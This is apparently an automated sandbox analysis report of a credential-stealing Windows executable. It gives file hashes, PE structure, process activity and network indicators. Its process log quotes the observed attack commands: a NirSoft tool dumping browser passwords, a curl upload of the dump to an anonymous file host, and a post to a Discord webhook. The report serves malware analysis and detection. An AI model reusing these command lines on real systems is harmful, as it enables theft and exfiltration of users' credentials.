File name:

Stealer.exe

Full analysis: https://app.any.run/tasks/f8d04157-2e12-4493-bd34-c83227c5ed6e
Verdict: Malicious activity
Threats:

Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns.

Analysis date: March 13, 2021, 08:31:14
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
stealer
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

2EAC9E3C00A50AE59AA5F7CFCA765009

SHA1:

6A13BA7D16748D78417BC636784B9DB717886F4C

SHA256:

142A12D29C6A9270F256D56D077DAD0F1BDEBA7B3BC3865B376E0975A3C9DE4F

SSDEEP:

49152:YT/L0Wrw1tkgV+b2p1njxJ+0kwmfrDIWF80VjqDvA2aGZr66MqPpTgx08zCJP86w:kLdstkgVaenjxJ+1wmXIWF86ABH3P+7B

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • WebBrowserPassView.exe (PID: 1924)
      • curl.exe (PID: 2248)
      • DiscordSendWebhook.exe (PID: 888)
    • Steals credentials from Web Browsers

      • WebBrowserPassView.exe (PID: 1924)
    • Uses NirSoft utilities to collect credentials

      • WebBrowserPassView.exe (PID: 1924)
    • Actions looks like stealing of personal data

      • WebBrowserPassView.exe (PID: 1924)
    • Stealing of credential data

      • WebBrowserPassView.exe (PID: 1924)
  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • Stealer.exe (PID: 1444)
    • Drops a file that was compiled in debug mode

      • Stealer.exe (PID: 1444)
    • Executable content was dropped or overwritten

      • Stealer.exe (PID: 1444)
  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ (generic) (35)
.exe | Win64 Executable (generic) (30.9)
.scr | Windows screen saver (14.6)
.dll | Win32 Dynamic Link Library (generic) (7.3)
.exe | Win32 Executable (generic) (5)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2018:02:01 21:18:00+01:00
PEType: PE32
LinkerVersion: 2.5
CodeSize: 67584
InitializedDataSize: 2873344
UninitializedDataSize: -
EntryPoint: 0x1000
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 0.0.0.0
ProductVersionNumber: 0.0.0.0
FileFlagsMask: 0x003f
FileFlags: Debug, Pre-release, Private build
FileOS: Windows 16-bit
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Windows, Latin1
FileVersion: 1.1
ProductVersion: 1.1
InternalName: NK125 Stealer

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 01-Feb-2018 20:18:00
Detected languages:
  • English - United States
FileVersion: 1.1
ProductVersion: 1.1
InternalName: NK125 Stealer

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000080

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 5
Time date stamp: 01-Feb-2018 20:18:00
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LINE_NUMS_STRIPPED
  • IMAGE_FILE_LOCAL_SYMS_STRIPPED
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.code
0x00001000
0x000037F0
0x00003800
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
5.61236
.text
0x00005000
0x0000CFA2
0x0000D000
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.58582
.rdata
0x00012000
0x000033A0
0x00003400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
7.11024
.data
0x00016000
0x00001724
0x00001200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
4.938
.rsrc
0x00018000
0x002B90C4
0x002B9200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
7.95376

Resources

Title
Entropy
Size
Codepage
Language
Type
1
4.92322
611
Latin 1 / Western European
UNKNOWN
RT_MANIFEST
2
4.75983
38056
Latin 1 / Western European
UNKNOWN
RT_ICON
3
4.86743
21640
Latin 1 / Western European
UNKNOWN
RT_ICON
4
4.64079
16936
Latin 1 / Western European
UNKNOWN
RT_ICON
5
4.89415
9640
Latin 1 / Western European
UNKNOWN
RT_ICON
6
4.85113
4264
Latin 1 / Western European
UNKNOWN
RT_ICON
7
5.1483
2440
Latin 1 / Western European
UNKNOWN
RT_ICON
8
5.14483
1128
Latin 1 / Western European
UNKNOWN
RT_ICON
1374D0734175734697D56E4246DF2C85
7.63616
609
Latin 1 / Western European
UNKNOWN
RT_RCDATA
213BD2D9164C4EB3A4770D9A117D207F
3.48418
20
Latin 1 / Western European
UNKNOWN
RT_RCDATA

Imports

COMCTL32.DLL
GDI32.DLL
KERNEL32.dll
MSVCRT.dll
OLE32.DLL
SHELL32.DLL
SHLWAPI.DLL
USER32.DLL
WINMM.DLL
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
5
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start stealer.exe cmd.exe no specs webbrowserpassview.exe curl.exe discordsendwebhook.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
888"C:\Users\admin\AppData\Local\Temp\39C0.tmp\DiscordSendWebhook.exe" -m "URL to download passwords: "https" -w https://discord.com/api/webhooks/820188343026712577/wNzLA-FK-JkRVz-_mRXJESfqDSm1wRBhpjqxZ9zfkHdnOYIv-u0ICMjtv8WtTrHRyhyJC:\Users\admin\AppData\Local\Temp\39C0.tmp\DiscordSendWebhook.execmd.exe
User:
admin
Company:
http://www.Phoenix125.com
Integrity Level:
MEDIUM
Description:
Send messages to Discord via command line
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\39c0.tmp\discordsendwebhook.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\wsock32.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\version.dll
1444"C:\Users\admin\Desktop\Stealer.exe" C:\Users\admin\Desktop\Stealer.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\desktop\stealer.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
1924"C:\Users\admin\AppData\Local\Temp\39C0.tmp\webbrowserpassview.exe" /stext Passwords-admin.txtC:\Users\admin\AppData\Local\Temp\39C0.tmp\WebBrowserPassView.exe
cmd.exe
User:
admin
Company:
NirSoft
Integrity Level:
MEDIUM
Description:
Web Browser Password Viewer
Exit code:
0
Version:
2.06
Modules
Images
c:\users\admin\appdata\local\temp\39c0.tmp\webbrowserpassview.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2248"C:\Users\admin\AppData\Local\Temp\39C0.tmp\curl.exe" -F "file=@Passwords-admin.txt" http://api.anonfiles.com/upload?token=558ac160bc08fc60C:\Users\admin\AppData\Local\Temp\39C0.tmp\curl.exe
cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
0
Version:
7.75.0
Modules
Images
c:\users\admin\appdata\local\temp\39c0.tmp\curl.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
3232"C:\Windows\system32\cmd.exe" /c "C:\Users\admin\AppData\Local\Temp\39C0.tmp\39C1.tmp\39C2.bat C:\Users\admin\Desktop\Stealer.exe"C:\Windows\system32\cmd.exeStealer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
54
Read events
50
Write events
4
Delete events
0

Modification events

(PID) Process:(1444) Stealer.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(1444) Stealer.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
Executable files
3
Suspicious files
0
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
1444Stealer.exeC:\Users\admin\AppData\Local\Temp\39C0.tmp\39C1.tmp\39C2.battext
MD5:
SHA256:
3232cmd.exeC:\Users\admin\AppData\Local\Temp\response.jsontext
MD5:
SHA256:
1444Stealer.exeC:\Users\admin\AppData\Local\Temp\39C0.tmp\curl.exeexecutable
MD5:
SHA256:
1444Stealer.exeC:\Users\admin\AppData\Local\Temp\39C0.tmp\WebBrowserPassView.exeexecutable
MD5:053778713819BEAB3DF309DF472787CD
SHA256:F999357A17E672E87FBED66D14BA2BEBD6FB04E058A1AAE0F0FDC49A797F58FE
1444Stealer.exeC:\Users\admin\AppData\Local\Temp\39C0.tmp\DiscordSendWebhook.exeexecutable
MD5:FB7A78F485EC2586C54D60D293DD5352
SHA256:B116FF00546620A598119D6704E9849393D2F9948FC8888D6DDF6211AA5B80B9
1924WebBrowserPassView.exeC:\Users\admin\AppData\Local\Temp\Passwords-admin.txttext
MD5:3E1E093DCCE32C716267A28292E0EE27
SHA256:56285445424AD06DC043154819B5BDABAA7C26F5779CA3E37E08424ED9926CB8
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
5

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2248
curl.exe
POST
200
45.148.16.42:80
http://api.anonfiles.com/upload?token=558ac160bc08fc60
unknown
text
249 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2248
curl.exe
45.148.16.42:80
api.anonfiles.com
malicious

DNS requests

Domain
IP
Reputation
api.anonfiles.com
  • 45.148.16.42
unknown

Threats

PID
Process
Class
Message
2248
curl.exe
Attempted Information Leak
ET POLICY curl User-Agent Outbound
2248
curl.exe
A Network Trojan was detected
MALWARE [PTsecurity] Facebook Credential Stealing (DomainX PWS)
3 ETPRO signatures available at the full report
No debug info